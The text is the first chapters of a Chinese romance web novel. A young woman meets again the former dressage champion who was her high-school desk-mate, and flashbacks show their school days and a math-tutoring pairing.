《偏我来时逢夏》
1. 难捱
八月初的槐城细雨连绵,在不知不觉中已经连续下了有一周的雨。
此刻头顶的雨势凶猛,不见有停的征兆,暗沉的天色显得有些凄凉。
贺京夏皱着眉望着潮湿的地面,心里生出一股烦躁,她向来不喜雨天,何况现在手里还抱着沉甸甸的一箱书。
雨天的车并不是那么好打,站在路口好长时间了,不见有一辆出租车出现。
贺京夏烦躁地看了一眼时间,自己已经公交牌底下等了已经十来分钟,别说车的影子了,就连个车尾气都看不到。
真的是既糟糕又倒霉的一天。
眼看着跟家里人约定的时间距离越来越近,如果在五分钟内还没有车来的话,时间就赶不上了。
想到这她不由得叹了口气。
要是知道会是现在这种状况,早上宋女士喊她的时候就不赖床,跟着一起去赴约,就没眼下这堆麻烦事了。
原本她对家庭聚会就兴致缺缺,但是这次不同以往,主要是为了给表妹庆祝中考了个还不错的学校,不过眼下她想准时到有点难。
正犹豫着要怎么给母亲大人打个电话说明情况。
这时身后不远处出现一辆她无比熟悉的红色出租车,贺京夏欣喜地露出笑容,它来的很及时如同救命稻草,即将营救她于水火之中,然而这份开心并没有持续多久。
要说上一秒贺京夏还在庆幸它的到来,为之感到开心,那下一秒看到车左边打着有客的标志,嘴角耷拉的速度也即快的。
这样一来,她倒是有些感同身受,能理解那句:悲伤真的有的时候是猝不及防的。
贺京夏认命般叹了口气,看来她是赶不到了。
无奈拿出手机点开宋丽的手机号拨打过去,但是那辆红色出租车并没跟她料想的一样,反而是在公交车站台的位置靠边停下。
在她迷惑的间隙,车窗降下,女司机侧着身朝她招手,很是热情。
“妮儿拼车吗?”一开口便是流利又质朴的槐城口音询问着一旁的贺京夏。
刚想回话,贺京夏手里的电话已经拨通,她先是对着那女司机歉意一笑,连忙挂了电话,然后问道:“江棠大厦去不去师傅?”
时间已经快来不及,贺京夏也顾不上是不是拼车。
女司机看着就是个爽朗的大姐,大声回应:“正好顺利,快上来吧。”
贺京夏两只手都没闲着,左手举着雨伞,右手还抱着一箱子书。
她有些不太好意思开口:“姐姐,能不能麻烦您帮我开一下门。”
“没事,我给你开门。”女司机态度很和蔼,身子往副驾驶挪了挪,招呼她,“好了,快上来吧,小心别淋湿了。”
贺京夏道了谢赶紧上车。
女司机看了一眼她怀里的书,自来熟跟她搭话,“小姑娘这大下雨天还需要去补课吗,看着你跟我女儿一般大,你应该也是才高考完吧?”
贺京夏才坐下,脑子放空了,根本没注意到人家说的话,只知道一个劲地摇头。
等她反应过来才知道这个司机大姐应该是把她当成了高中生,一时间有点哭笑不得。
她刚忙否认,“不是,是给我妹妹送书,我都毕业工作了。”
这些书是带给她的堂妹贺静媛的,她的婶婶林燕对学习这件事尤为看重,怕堂妹上高中学习会的吃力,想起贺京夏回来这两天打扫屋子,整理出了一堆高中的书,便特地叮嘱她今天来吃饭一定要带上。
女司机笑着打趣,“完全看不去,我还以为你是才高考完。”
贺京夏很是不好意思,低头看了一下自己的穿着,想着今天不能喧宾夺主她穿的很随意,简单的白t加上浅蓝色女仔裤,梳了个半马尾,加上又戴了一副黑框眼镜,确实看着显年轻。
除了工作,私底下贺京夏并不是一个很健谈的人,所以车内顿时安静了下来,不过没维持多久,因为司机是个很活络的人,时不时会说上一句话,伴随着车里电台新闻的声音车在城市中穿梭。
手机跳出两条微信,突然想起上车前挂掉的电话,赶紧滑动屏幕看了眼,果不其然是她妈妈宋丽在问她什么情况,怎么不说话就挂了电话。
贺京夏手指落在虚拟键盘上,快速打了一行“刚才车到了就给挂掉了,现在我已经坐上车,马上就到”便发了出去。
宋丽回的很快:“吓死我,还以为你出什么事了,到了发消息我喊你爸下去接你。”
看到这内容她笑着回了个“好。”
哪怕今年她已经二十四,父母还是依旧把她当成小孩。
贺京夏放下手机,抬眼望向前方的镜子,出门前整理好的发型,被雨微微打湿,跟霜打的茄子似的耷拉在眉间,她抬手整理了一下。
侧目余光瞥见后座还有一位全副武装的黑衣男子,从她上车到现在为止,这人就没开口过。
贺京夏对他多了几分好奇,目光落在他的身上,明明是夏天这人却戴着口罩,头顶黑色鸭舌帽,整个人包裹的严严实实的。
很快她便想到,这人该不会是......明星吧?
身边有陆研这么一个资深的追星女孩,她或多或少也了解点明星。
加上那人的仪态看着确实不错,挺直的身躯,双手环抱靠着车窗闭目养神。
虽看不清楚他的脸,可他那双线条分明又修长的手,吸引了贺京夏的目光,谁让她是十足的手控。
这手一看就好牵!忍不住在心里暗想。
拥有这样好看的一双手的人,往往颜值也不会差。
这要是明星这车拼的一点也不亏,她也算是体验过传说中的运气爆棚是什么感觉了。
毕竟她可是从小到大就没中过一点奖,小到方便面抽卡,大到二十的刮刮乐,都是跟她无缘分。
本想再细看一眼,车里上一秒还在播放的新闻已经切换了频道,主持人开场说的名字夺走贺京夏全部的注意力,“本次仁川亚运会已结束,非常荣幸邀请到我们的花样骑术金牌获得者裴时晏,相信大家都有一睹过我们时晏在仁川的风采,可谓是在马背上英姿飒爽的少年郎......”
电台里响起热烈的欢呼声,一道清冷的男声从里面传来,正是被采访的金牌获得者——裴时晏。
那道声音很好听,让人记了好久。
“姐姐能不能换一个台?”贺京夏强压下着心中的那股不说不清道不明的酸涩感,出声问身旁的司机。
“小姑娘是不喜欢听新闻吗?”
“不是。”贺京夏不愿具体解释,只是草草否认。
司机也挺能理解,现在的年轻人对电台新闻兴趣不高,没有再多说什么,很尊重她直接换了个台。
不多时音响里传来音乐的伴奏声,音调是比较伤感的那一类,很是应景。
贺京夏的心情有些差,抱着箱子的手收紧,整个身子往后靠,目光呆愣地盯着玻璃窗上拍打下的雨滴。
全然没注意到身后有一道视线落在自己身上。
有多久了。
是从什么时候开始的,没再关注他,不再听到这个名字。
一年零八天。
其实很清晰,也很深刻,一点没忘记。
裴时晏赢过,也输了。
十九岁的他风华正茂,首次参加仁川亚运会,赛前因为队友的马出了问题,与备用马配合不佳成绩受到影响,在这场比赛中,裴时晏并未受到影响,他驾驶爱骑做出指定的动作并演绎出自编舞步,伴随着优雅的音乐,他控制着坐骑或慢跑,或小步跳跃,动作极具韵律和美感,超常发挥便获得马术盛装舞步的个人赛第一名,让他一战成名,成为国内马术界冉冉升起的一颗新星。
当年他赢的时候欢呼声多大,今年他输的时候讨伐声只会加倍。
那天微博本来已经炸了,可有人一直在压着热搜,最后导致微博瘫痪半个小时,直接掀起巨浪是罪魁祸首就是裴时晏本人。
他直接发了个退役声明。
这颗巨雷掷下,原本已经消停的差不多的“热心肠”群众又被激起了熊熊怒火,怨气声连连浮起。
贺京夏一直觉得人本性再恶也恶不到哪里去,直至她看到那晚裴时晏微博底下那些评论,才发觉她还是低估了人性的恶。
读了这么多年的书,她也是第一次见识到那么多恶人与那么多恶言恶语。
原来不止人可以脏,文字也可以。
那晚她一夜未眠,一战到天亮。
“小妹妹江棠大厦到了。”女司机提醒她已经到达目的地。
贺京夏回过神后,发觉自己的眼角不知是何时染上的湿润,她快速抹掉痕迹付了钱,抬眼时与镜子中的人目光撞上,身后的人不知是何时睁开的眼。
他是不是看到了?
意识到这个问题,贺京夏慌忙低下头,抱着东西下了车。
早已没了对他好奇的心情。
想的只是赶紧离开。
并不知晓下车时身后多了一寸目光,正直直凝望着她远去的背影。
一抹难言的情愫,在他的眸底挥之不去。
贺京夏,真的好久不见。
堂妹贺静媛看到她那箱子书,本来还搞笑的小脸瞬间垮了下来。
“姐你才回来两天,你妹妹我也才考完试没几天,你就不能放过我吗?”贺静媛皱着眉看向她抱怨道。
林燕帮贺京夏舀了碗汤,放在旋转桌子上,转到她面前,淡淡出声打断贺静媛:“不是你姐不放过你,是你妈我不打算放过你。”
闻言,贺静媛的眉头皱的更深,大声哀嚎:“救命啊!”
包厢内众人皆笑。
车上的小插曲让贺京夏心情本就不佳,加上她向来不喜这种家庭聚会,话题跟关注点时不时都会围绕她跟她那个表弟,趁着火还没有烧身的间隙,贺京夏快速扒完碗里的饭,便找了个借口要上厕所,快步走出包厢躲躲耳根。
贺静媛也不想待屋里,跟着她溜出来。
贺静媛一想到小姑那模样就不舒服,嘴里不满抱怨:“姐不是我说,这表面上是打着庆祝我考上高中,实则是表哥的夸奖大会吧!”
“你姐我比你多听十来年了,现在还不是成为习惯了,你听听就行,别放心上。”贺京夏伸手摸了摸矮她半个头的小脑袋,温声安慰。
“唉,老是那几句的,怪腻的。”贺静媛缓了缓,嘀咕道,“再说了,又不是亲的表哥,也不知道姑姑天天炫耀啥。”
听到这话贺京夏不悦地睨了一眼她,提醒道:“你别在姑姑面前说这话,听见没?”
这事在贺家算是一件不能被提及的事。
一时口快,贺静媛意识到自己的错,连连点头:“知道了姐。”
在学校要被成绩好的摧残,回家还得被家里人拿来做对比,这换谁不崩溃啊!
难免说话就不把门了。
这个世界就不能给混子一个机会吗?
出于人道主义,贺京夏给了个她认为还不错的提议:“想不想吃冰淇淋?我给你买。”
到底是小孩子,很难拒绝冰淇淋,贺静媛很快就把刚刚不愉快抛之脑后,头点的跟个拨浪鼓似的。
两个人挽着手,朝着门口的便利店走去。
这会儿正值饭点,大厦旁边写字楼的上班族都在往这边赶。
贺静媛有选择困难症,都选择好大会儿了还是摇旗不定,反正也不着急回去,贺京夏也不催她,耐心站在一旁等着她。
这家店铺的门口挂着一个风铃,一有人进来就发出清脆的声音,样子很好看贺京夏蛮喜欢,想着从淘宝看看能不能找到同款。
刚打开手机准备按下快门键搜索同款,门口进来一道高大的身影挡在前面,她的视线被吸引。
四目相对,那双深邃的眼眸泛着摄人心魄的幽冷光泽。
看清楚来人的容颜,瞬间脑袋嗡嗡作响,动作停滞。
周遭的一切她都看不见也听不见,她怔怔看着那人,连还在举起的手都忘记放下。
前几次见他都是隔着人海,只能远远的,此刻距离很近,更能清楚又直观感觉到他。
五官变化不大,个头倒是拔高了不少,记忆里的少年轮廓褪去了稚嫩,经过岁月的过滤,已经是一个成熟的男人,眼里没有少年时代的张扬与恣
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意,被取而代之的是冷漠与疏离。
她那时候那么决绝伤害了他,他一定是不想再看到自己的吧。
曾经也无数次在梦里设想过再见面时彼此的样子。
如果真的遇到了,她还是想对他说一句对不起,既然抹杀不了带给她的伤害,这本来就是欠他的。
想象是美好的,现实是骨感的。
而现在她就是个临阵脱逃的胆小鬼,只想埋头找个地方躲起来。
贺京夏想退后,却发觉身体僵住,跟不会走路一样,她退无可退。
他迈着步伐缓缓走来,一步步靠近,他的步伐很大,距离她还有一步之遥,那股熟悉又陌生的清冷气息扑面而来。
贺京夏垂在身边的手紧拽着衣角,心里五味杂陈,几乎本能反应低下头,呼吸急促心跳加了一个度。
“借过。”
她听到他说。
声线平平淡淡的,没什么情绪。
像一个陌生人一样,从她的面前路过。
一股酸涩从胸腔冲至喉咙,让贺京夏苦不堪堪。
人常说,辜负真心的人吞一万根针。
针扎下的那一刻是不痛的,痛的是拔出的那瞬间。
“姐,想什么呢?那么出神,手里冰淇淋都化了。”贺静媛看着她出声提醒。
“没什么。”贺京夏缓过神,慢吞吞扯了个慌,“在想小姑说的工作的事。”
贺静媛吃着冰淇淋,随意道:“这有什么好想的,想去了你就去看看,不想了你就先待着家里,反正大伯也不会说你。”
她并没有应声,手里的冰淇淋一点点在融化,最后落入手中是一滩水,凉意袭来将她拉入内心的沼泽地。
她有想过会有今天这一出,只不过没想到会这么快。
原以为他会来质问她当时为什么那么做,会想要一个答案,她连道歉的话都准备好了。
裴时晏看她的眼神却像一个陌生人。
没有责怪也没有质问,对比之下显得她自作多情了。
也许他早就忘记了贺京夏这个人,也忘记了那段不开心的记忆。
贺京夏暗自扯了下唇,心里嘲笑起刚刚的举动。
这天晚上,许久没做过梦的她,梦回八年前盛夏的最后一天。
是她第一次见裴时晏的时候。
已经开学快一个月,刘越带着姗姗出现的裴时晏到班里。
讲台上方站着个子很高的男孩子,身上穿着一件薄款灰色卫衣,他双手揣在兜里,漆黑的眸子微垂,一副松散懒怠的模样。
行为举止痞里痞气,胜在这人有一张顶好看的俊脸。
刘越叉着腰站在一旁,拍了拍桌子:“让我们欢迎裴时晏同学加入我们高一二班,以后就是一个班级的。”
班里一阵哗然。
贺京夏从课本里抬起头看了一眼前方的人。
她前桌的陆妍拿课本挡住脸,低声对着贺京夏说:“还真别说,这新来的真帅,跟我哥哥有的一拼啊!”
陆妍是个追星族少女,眼光毒辣又挑剔,平日里嘴里说的最多的就是她的神颜哥哥,最常说的话就是学校里男孩子都是豆芽菜,没一个能入她的眼。
“我去我去,他朝着我们这边看过来了。”陆妍眼睛一直盯着讲台上的人。
班里声音嘈杂很多女生都在讨论这位转校生。
班里讨论声越来越大,刘越又用力拍了拍桌子,示意众人安静。
刘越咳嗽了声,看向还站在一旁的裴时晏:“裴同学来自我介绍下吧。”
“裴时晏,多关照。”干净又清冷的声音响起。
简短又利落。
五秒后,刘越反应过来。
“没了?”
“没了。”
底下有人起哄“哇”了声,这个年纪的小孩子都崇尚“酷”,裴时晏这个行为就很符合他们对酷的理解。
好在刘越事先了解过他,知道他话不多也不想勉强他再多说,视线扫视了一圈班级里的空余的位置,眼神最后定格在贺京夏旁边的空位上。
“时晏你就坐第一排三行京夏同学旁边那个空位上,京夏多照顾照顾我们新同学。”
被点名的贺京夏顿住,停下手中转笔的动作,裴时晏迈着步伐朝着这边走过来,她侧着头看他,他正好也在看他,目光只停留片刻。
裴时晏的眼睛真的很好看,眼角狭长,瞳色漆黑,像一望无际海面上倒映着的月光,只一眼,便能将人吸入其中。
一节课结束后,贺京夏侧过头,发现裴时晏躺在课桌上已经睡着,外套盖在他的脑袋上,骨节分明手指修长的手手随意耷拉在课桌前方。
陆妍兴奋看着贺京夏,想讨论又怕被他听见,拉着贺京夏往教室走廊走。
“啊啊啊啊!你这个同桌真的神颜啊!”陆妍眼神望着屋里的人,发出夸张的尖叫声。
贺京夏撇开视线,靠在栏杆上,张开双手伸了个懒腰:“你夸张了。”
“我的眼光很毒的,难道夏夏你不觉得他很帅吗?”陆妍晃晃她的手,又补充道,“而且听说他是京都来的,他数学很好,老天爷真不公平,给了他一张帅脸,又是学霸一枚,这什么buff叠加。”
贺京夏没有发表任何意见,她沉浸在自己的世界里,陆妍后面那一句她根本没听到。
因为她的心压根就不在这个上面,现在一门心思想着这个数学成绩,怎么才能在她妈妈那里糊弄过去。
陆妍:“你不回答我就当你认可我的话。”
“你不要你哥哥了?”贺京夏笑着打趣道。
听到这儿,陆妍严肃看着她,双手在胸脯前比了个叉,义正言辞:“我哥哥永远top,谁都改变不了。”
歪着脑袋摇晃了一会儿又补充,“不过也不耽误我看帅哥,毕竟这个可是活生生的人站在你面前,谈恋爱肯定谈不上,那还不容许让人看看。”
贺京夏那时候一心一意都在学习上,并没有很在意这些话。
可有一点不得不承认的是,他的确是一个好看的人,像什么呢?绣花枕头,这是她对裴时晏的初印象。
2. 难捱
第二天破天荒贺京夏起了个早,梦里的画面断断续续,脑海里一直播放着裴时晏走前的那句狠话。
自嘲般扯唇轻笑,这些早都料到了。
全都是她自找的,难道不是吗?
掀开被子下床,缓缓吐了口气,平复了一下心情,试图将脑子里那些烦心的事抛开。
看了眼手机居然才六点半,不过她现在没有半点睡意。
前些日子手头没有事情干,她练了一项新技能。
洗漱干净后,换了身运动塑身服,贺京夏拎着运动包,骑着宋丽为了方便她去买菜,支配给她的小电驴往瑜伽馆去。
瑜伽馆离她家不远,骑车也就五分钟的距离。
喜欢上瑜伽还多亏了陆妍,她一直跟陆妍保持联系,陆妍毕业之后就回槐城开了个瑜伽馆。
考研那段时间,压力大心理承受能力又脆弱,天天学习头都要秃,陆妍看不下去,建议她练练瑜伽放松,后面她跟着陆妍去接触这项运动,发现瑜伽是一个能让人放松的项目。
既能锻炼身体又能疏解压力。
所以一回来跟陆妍碰面就在她那里办了个年卡,陆妍一点也不跟她客气,怕她想练的时候没开门,还丢了串钥匙给她。
瑜伽馆的教练都是九点上班,现在时间还早,馆内空无一人。
贺京夏做了个全身放松,便躺在瑜伽垫上,开始昨天没练完的课程。
快结束的时候,带她的教练手里拎着个运动包,大步流星走进来。
教练刘灿是一个比贺京夏小两岁的小姑娘,性格开朗人又活泼,笑起来嘴角旁挂着两个小酒窝,为人还热情贺京夏挺喜欢她。
“京夏姐今天这么早啊。”
“今天起早了,想着也没事,就过来练会儿。”贺京夏闭上眼睛,安心做着最后的放松。
“还需要我带你练吗?”刘灿站在她面前问道。
“不用了,我放松完就回去了。”
练完之后全身汗淋淋的,一股黏糊感让贺京夏难受,草草洗了个澡跟刘灿告别,才骑着小电驴走。
她慢慢骑着车,早上的风吹着很舒服。
她其实已经很长一段时间没有这么惬意过了。
有关于快乐这个话题贺京夏自始至终觉得自己是没有权力参与的。
路上男男女女行色匆匆,新的一天他们又开始为今天的生计奔波。
贺京夏提着早餐到家时,宋丽正在厨房里磨豆浆。
听见开门声,宋丽从厨房探出头好奇盯着她看,脸上一副不可置信,半开玩笑道:“今天太阳也没从西边出来啊,平时太阳不晒屁股,都不见你起。”
“妈妈你的女儿也没那么懒的。”贺京夏放下东西,快步跑进厨房,搂着宋丽的肩膀,笑着朝她撒娇。
宋丽笑着用手指戳了戳她的额头,没好气说:“你啊你,也不是我说你,没事多出去走走,或者你看你哪一个朋友有时间,一块出去旅游也行,天天憋在家里也不是个事。”
“妈我这才回来几天啊,你就烦我了?”贺京夏不开心撇嘴。
果然验证了那句话,家要常回,但不能久待。
宋丽却瞪着她:“少装了,把豆浆端出去。”
贺京夏噘着嘴,应了声好,端着豆浆慢吞吞走到餐桌边。
“对了,昨天你走后,你表弟来了,带着他朋友正好路过,你姑顺嘴给你表弟提了嘴你的事,看你什么时候有时间去看看。”宋丽把蒸锅里的鸡蛋拿出来,放在餐桌上,看着她。
贺京夏眉头紧锁,喝豆浆的手顿住,想说点什么又不知道说什么好。
到底是自己肚子里出来的,宋丽也看出她什么心思,出声宽慰她。
“不想去就不去,过两天我帮你回绝你姑。”
“算了,下午我去看看,你是知道我姑那人什么性子,就算这次你能找到理由拒绝她,那下次下下次呢?一直这样也不是个事儿。”
“你姑那人就那样,按照你自己的意愿来,别管你姑怎么想,你妈能找到办法应付她,只要我闺女开心就行,不用给自己那么大压力。”宋丽边说着边把刚剥好的鸡蛋放她碗里。
“咱家就你一个,想干嘛就干嘛,你上班不上班都无所谓,我跟你爸这么努力赚钱,不就是为了你过得惬意点。”
“知道了,我亲爱的妈妈。”贺京夏说,“反正最近没事,那就去看看,你等会儿帮我跟姑姑说一声。”
宋丽喝了口豆浆,“行,你想去那就去。”
贺京夏一口鸡蛋一口豆浆,飞快吃完,便起身回屋。
宋丽看着她猴急的样子,无奈摇了摇头,倒是有些看不懂现在的小孩子。
回到房间后,她躺在床上,心里烦躁来回拉扯着被子,盖在头上又拿下,独特的方式反反复复发泄着心里的不满。
窗外的日光透过白色的窗帘,一点点照射进来,她抬头望着窗外的红光,内心逐渐冷静下来。
她不知道心底这道烦躁究竟从何而来。
一旁的手机突然发出一阵振动。
贺京夏俯过身捞过手机,是堂妹贺静媛给她发了图,带着疑惑她点开,是她之前的数学课本,里面夹带这一张泛黄的草稿纸,上面是一道数学题,字迹不受约束,飘逸中带着工整,看起来整洁又利落。
这并不是她的字迹,毋庸置疑是他的。
下面堂妹又给她发了条语音,贺京夏想也没想就点开。
“姐你们高中都喜欢跨阶级吗?才高一就开始高难度微积分了。”堂妹略显不高兴的声音从听筒传出。
看着图片的题她陷入了沉思,她是个典型的文科生,她的数学并不好,没少吃数学的苦。
第一次小考她的数学成绩惨不忍睹,而他拿了150的满分。
当天下午刘越就把贺京夏喊进教室。
刘越叹了口气先发制人:“小夏啊你是不是看刘老师不爽啊?”
作为高一二班的老班,刘越对眼前的小姑娘这个数学成绩他真的头疼的很。
贺京夏垂着脑袋,没有吭声。
这是她独有保持沉默的方式。
刘越指了指桌子上全科的成绩单,“我看了你的全科成绩别的科目都很不错,特别是你的英语跟语文,可是数学连及格线你都够不到,再偏科也没有这样偏的,你的精力能不能分一部分给数学。”
“知道了老师。”贺京夏轻声回道,整个人都乖到不行。
真的冤枉啊!不是她不想学,一直都想好好学,但是数学那些公式压根看不懂,这个世界除了数学,找不到能降得她的东西。
不知道是不是上辈子辜负了数学,这辈子数学就没有宠幸过她。
唯一一次考的不错的还是在小学。
“你别管口头说的好好的,回头又给我考个不及格,下次能不能争取及格。”
“应该可以吧。”
“什么叫应该?”刘越恨铁不成钢,“是必须,你这成绩必须给我提升上来。”
“好的老师。”贺京夏只能讪讪点头。
不是不想,是不敢想呀。
这些话也就只能在心里暗想,就算借她十个胆子都没胆跟刘越说。
正想着,突然看到窗外一抹熟悉的身影靠在走廊栏杆上。
“看什么呢?那么认真。”
说罢,刘越顺着她的视线看去,看清是裴时晏,严肃的脸上露出了一丝欣慰。
柔和的太阳洒在裴时晏的半边脸上,看上去乖顺又温柔。
许是有感应,他侧过头,碰撞上贺京夏的视线,在半空中交汇。
“你们不愧是同桌,一个数学满分,文科门门不及格,一个文科门门都不错,数学不及格,天仙配也没你们这么配的。”刘越连连摇头,无语极了。
“老师……我也不想,确实是能力有限。”辩解的话一出口,贺京夏就别开头,不敢看刘越。
刘越打量了一眼她,视线又移到窗外的裴时晏身上,心里顿时来了个主意。
“你去把裴时晏喊进来。”
上一秒还在说着她,现在又让她去喊裴时晏,心里虽然有疑惑,可还是应声照做。
贺京夏不情愿走到裴时晏面前,正犹豫怎么开口,他已经转过身,疑惑看着她。
“有事?”
不等她开口,他已经主动询问,脸上表情淡淡看着她。
贺京夏怔了下,想到正事出声:“老刘喊你。”
他并没有说话,眼神落在她的身上,眼神透着看不清楚的情绪。
贺京夏回望,细看确实认同那些女孩子是一点也不夸张,他的确生的一副好皮囊,五官轮廓线条流畅,那双狭长好看的眼睛十足吸引人,让人止不住沦陷其中。
他的身形很高,学校那套普通的蓝白校服被他穿出不一样的气质。
“看够没,
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我看老刘要出来了。”他淡声打断。
贺京夏窘迫别开眼,忍不住轻声嘀咕了句:“好看人想多看两眼怎么了。”
不大不小的声音落入裴时晏的耳中,他往前的脚步顿住,微侧过身子盯了她一会儿,扯了扯嘴角,意味不明。
理直气壮的样子,还真有点意思,像隔壁老奶奶家养的那个小白猫,性格傲娇又喜欢挠人。
贺京夏想起主角还在眼前,她嘴还是快了,下意识看向他所在的位置,发现人已经转过身大摇大摆走进去办公室。
看着那道背影,缓缓睁了下眼睛,抬腿跟上。
脚刚踏进办公室门口,就听到刘越笑的满脸褶子,一脸慈爱看着裴时晏,言语间都是赞赏。
两极反转的态度让贺京夏叹为观止。
正犹豫要不要进去打扰这一温馨的时刻,裴时晏已经出声喊她。
只好硬着头皮走进来,可能碍着裴时晏还在,刘越这会儿对她也是笑脸相迎。
“时晏啊,你跟京夏都是老师很好看的学生,老师是一点也不想你们最后连心仪的大学都考不上。”刘越语重心长。
稍顿。
“老师想了想,你跟京夏都彼此有特长,学习上你们可以互帮互助。”
等下,互帮互助?她跟裴时晏?
贺京夏脑子有点卡壳,还在盘算怎么委婉拒绝这个提议。
另一位故事的主角,先一步出声:“不用了吧。”
刘越果断道:“要,怎么不要,你的文科成绩惨不忍睹,她的数学惨不忍睹,你俩强强联合就是最好的提高,就这样说定了。”
刘越没有给他们拒绝的机会,借着还得批改作业忙碌为由,把他们推出了办公室。
“你为什么不接着反驳?”贺京夏忍不住抱怨道。
裴时晏闲散倚靠在栏杆上,扫了她一眼,漫不经心反问:“那你为什么不说?”
一下子被问住,她总不能说自己还没有想好借口吧,贺京夏不愉快的抿了抿唇。
“那现在怎么办?”
“什么怎么办?”
贺京夏表情认真:“老刘说的互帮互助。”
这人的记忆是只有七秒吗?还是明知故问。
他的嘴角微微上扬,挑眉看向她:“你认真了?”
见识到他敷衍的样子,贺京夏很识趣,没有再说什么。
上课铃响起,两个人一起进了教室。
贺京夏先一步坐在位置上,她的位置是在外边,裴时晏的位置在里面,左右两边的间隙有点小,想要进去必须通过她往前面缩一下。
想到刚刚他的态度,心里升起了个不成熟的想法,平时见到他进来贺京夏都会很识趣让位置,此刻她若无其事不为所动。
裴时晏伸出节骨分明的手,在她的桌子上叩了叩,提醒着她。
贺京夏脸上挂着个灿烂的笑,看着他低声道:“你说公主请让开我就放你进去。”
她知道裴时晏压根不会配合自己,存心就是想逗逗他。
裴时晏眼底闪过一丝惊愕,很快恢复一如往日的神色,不动声色看着眼前活跃的少女,俏皮的模样很难让人心生厌恶。
倒是想看看她挠人是什么样的。
裴时晏站在贺京夏面前,缓缓俯下身,眼神不紧不慢落在她身上,平静无波。
倒是贺京夏在与他对视那一瞬间,心底升起一股莫名的热意。
他离的好近,近到能清晰地看见他脸上的小绒毛,近的能闻到他衣服淡淡的肥皂混合着太阳的味道。
在她不解的眼神下,他轻轻在她耳边吐露出一句。
“公主请让开。”
干净又清冷的声线划过耳间,心间像被人拿石头砸了一下,惊起一滩涟漪,温度急速上升,从耳边蔓延到脸颊。
贺京夏想要往前靠,肩膀上有一只手牢牢擒住她,让她无处可逃。
蓦的她滞了一瞬。
慌乱地垂下眸,耳畔又传来他漫不经心的声音:“可还满意?”
语气里带着得意,他就是故意的。
完全没有想到,明明是想摆他一道,可最后被制服的人却是她。
完全就是偷鸡不成蚀把米。
……
这一节课讲的是数学小考的试卷,贺京夏全程没听进去,耳边总是浑浑噩噩出现那句“可还满意”。
就像一个魔咒,扰人心智。
3. 难捱
“喂,你跟你同桌是在cos什么浪漫校园剧吗?”陆妍搂着贺京夏的肩膀,八卦着课前那一幕。
托裴时晏的福,贺京夏放学前察觉身上多了几道奇奇怪怪的目光,放学走的时候有人眼神来回停留在她身上,围在一起窃窃私语。
贺京夏没想好怎么回答,陆妍在耳边叽叽喳喳,非常夸张说:“不是我说,看着我都冒粉红泡泡了,你不知道裴时晏靠近你的时候,章絮咬牙切齿看着你,要不然老师来了,她都想扑上去咬你。”
“她咬我干什么?”贺京夏蹙眉诧异问道。
陆妍眼神环顾了四周,发现没有旁人在,才娓娓道来:“你不知道她喜欢裴时晏吗?就在裴时晏来咱班第二天放学路上,这姐拦下了人家,当着超多人的面高调告白,大胆追爱。”
贺京夏不敢置信啊了声,整个人都呆住了,现在喜欢一个人已经可以明目张胆到这个样子了吗?
看出她不信,陆妍还找出了手机,找出了一段视频递到贺京夏面前。
视频也不知道被转了几手,画质很模糊,可还是能看出是人群中的那道高挺的背影,对面站着个女孩子,大声喊着“裴时晏,我喜欢你”,周遭都是起哄声很嘈杂。
贺京夏看到一半就关了屏幕,把手机丢还给陆妍。
对此不多做评价。
但是她心底由衷对章絮这号人多了点敬佩之意。
这姐们是真的猛。
“现在你信了吧,别的不说,胆子这方面我是真佩服这姐,太猛了,看中就出击,结果虽然事与愿违。”
“不过你别说,裴时晏这人看着冷血无情,一脸本人超酷生人勿近,还给她留了面子,先谢谢她的喜欢,才说自己喜欢数学好的,我真怀疑他故意的,章絮数学才五十多分。”
陆妍想到什么,转过身看向贺京夏,像是发现了什么新大陆,激动拍了拍手,大声惊呼,“我靠,感情裴时晏这货不是喜欢学习好的,是喜欢你啊!”
差点一口老血吐出来,这什么结论?贺京夏一脸无语看着陆妍。
真的想拿个斧头劈开陆妍脑子,看看里面装的什么。
“人家都说了喜欢数学好的,你怎么想的,我数学都没及格好吗?”
“不是啊,你听我说。”陆妍一副煞有其事的模样,认真给她分析,“裴时晏拒绝人的时候很干脆,可是同为数学不好的你,他笑脸相迎。”
“哪里笑脸相迎,他那是恶趣味上头。”
陆妍啧了声,语气更加笃定:“他肯定对你跟对别人不一样,起码他对你有趣味,对别人他直接都没趣了,这还不能说明他对你有意思吗?”
“就这也算有意思……”贺京夏不以为然撇了撇嘴。
“别的不敢说,就凭我陆妍看了几千本晋江甜宠文,这裴时晏肯定对你有意思。”
贺京夏笑而不语,伸手敲了敲陆妍的脑门。
“你听。”
“什么?”
“有水,还是恋爱脑,鬼见了都嫌弃,要往里面吐口水。”说完贺京夏撒腿就跑。
意识到她话里的意思,陆妍骂骂咧咧去追赶她,势必要揍她一顿。
两个人一路上打打闹闹,直到把陆妍送到了公交站才停下,贺京夏跟陆妍家一南一北,每次放学两人都会走一段路,最后再各自分别。
*
贺京夏到家时,宋丽正端着一盘去了皮的西瓜从厨房出来。
见了她便招唤她去洗手吃西瓜。
贺京夏洗完手,拿过碗里的叉子,叉了块瓜塞进嘴里,口感跟甜度都不是很好,十月份西瓜的季节已经过了。
本想说点什么,看向坐在沙发另一旁的宋丽眼里有些落寞,神情与平时不一样,贺京夏把酝酿好的话又吞回肚子里。
“你吃完把碗放厨房,我进去躺会儿。”宋丽说完拖着疲惫身子回了房间。
贺京夏轻轻叹了口气,望向桌子上那盘摆放整齐的西瓜,嘴巴不自觉多出一丝苦涩。
不上不下卡着,着实让人感到难受。
贺京夏放下手中的叉子,拎起刚刚丢在一旁的书包,刚走了一步,想到什么又端起沙发上的盘子。
路过主卧的时候往里面看了一眼,门半掩着能看到宋丽坐在床边,垂着头看着手里的铁盒,贺京夏强压下心中冲动的情绪,转身回了自己的房间。
屋里窗口半开,外边的风吹着窗帘沙沙作响,她抱着床上的兔子玩偶直接扑倒在床上,想起那糟糕的数学成绩心里懊恼,心里憋着一股气,想撒又无地可撒,狠狠蹂躏了一把手里的玩偶。
看着皱巴巴的兔子咧着个嘴在笑,她不由得笑出了声。
想起今天还有一张数学试卷,贺京夏从床上扑起来,规规矩矩坐在书桌前开始做试卷,有一大半都不太会,挑着会的先做完,后面不会的她一边翻着数学书一边写。
明明拆开那些数字她都看得懂,合起来完全看不懂,那些公式对她来说简直就是看天书。
“再这样下去,真的能考上大学吗?”贺京夏趴在桌子上,手里的笔有一搭没一搭戳在数学书上。
眼看着就要戳出个大洞,她及时收住手。
客厅外传来关门声,有脚步声响起,贺京夏下意识直起身。
